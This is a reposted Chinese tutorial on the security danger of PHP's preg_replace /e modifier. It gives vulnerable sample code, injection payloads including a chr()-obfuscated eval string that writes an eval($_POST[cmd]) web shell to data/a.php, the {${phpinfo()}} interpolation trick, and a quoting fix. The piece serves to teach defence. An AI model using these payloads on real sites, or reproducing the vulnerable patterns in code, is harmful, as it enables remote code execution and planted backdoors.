preg_replace函數原型：

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特別說明：
/e 修正符使 preg_replace() 將 replacement 參數當作 php 代碼（在適當的逆向引用替換完之后）。提示：要確保 replacement 構成一個合法的 php 代碼字符串，否則 php 會在報告在包含 preg_replace() 的行中出現語法解析錯誤。
舉例：

復制代碼 代碼如下:
<?php
preg_replace ("/(</?)(w+)([^>]*>)/e",
"/1.strtoupper(/2)./3",
$html_body);
?>


這將使輸入字符串中的所有 HTML 標記變成大寫。

安全威脅分析：
通常subject參數是由客戶端產生的，客戶端可能會構造惡意的代碼，例如：

復制代碼 代碼如下:
<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>


如果我們提交?h=phpinfo()，phpinfo()將會被執行（使用/e修飾符，preg_replace會將 replacement 參數當作 php 代碼執行）。
如果我們提交下面的代碼會怎么樣呢？
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文對應的明文是：fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
執行的結果是在/data/目錄下生成一個一句話木馬文件 a.php。

再來一個有難度的例子：

復制代碼 代碼如下:
<?
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("/1")', $_GET["h"]);
?>


提交 ?h=[php]phpinfo()[/php]，phpinfo()會被執行嗎？
肯定不會。因為經過正則匹配后， replacement 參數變為'test("phpinfo")'，此時phpinfo僅是被當做一個字符串參數了。
有沒有辦法讓它執行呢？


當然有。在這里我們如果提交?h=[php]{${phpinfo()}}[/php]，phpinfo()就會被執行。為什么呢？
在php中，雙引號里面如果包含有變量，php解釋器會將其替換為變量解釋后的結果；單引號中的變量不會被處理。
注意：雙引號中的函數不會被執行和替換。

在這里我們需要通過{${}}構造出了一個特殊的變量，'test("{${phpinfo()}}")'，達到讓函數被執行的效果（${phpinfo()}會被解釋執行）。
可以先做如下測試：

復制代碼 代碼如下:
echo "{${phpinfo()}}";


phpinfo會被成功執行了。

如何防范這種漏洞呢？
將'test("/1")' 修改為"test('/1')"，這樣‘${phpinfo()}'就會被當做一個普通的字符串處理（單引號中的變量不會被處理）。

php技術：慎用preg_replace危險的/e修飾符(一句話后門常用)，轉載需保留來源！

鄭重聲明：本文版權歸原作者所有，轉載文章僅為傳播更多信息之目的，如作者信息標記有誤，請第一時間聯系我們修改或刪除，多謝。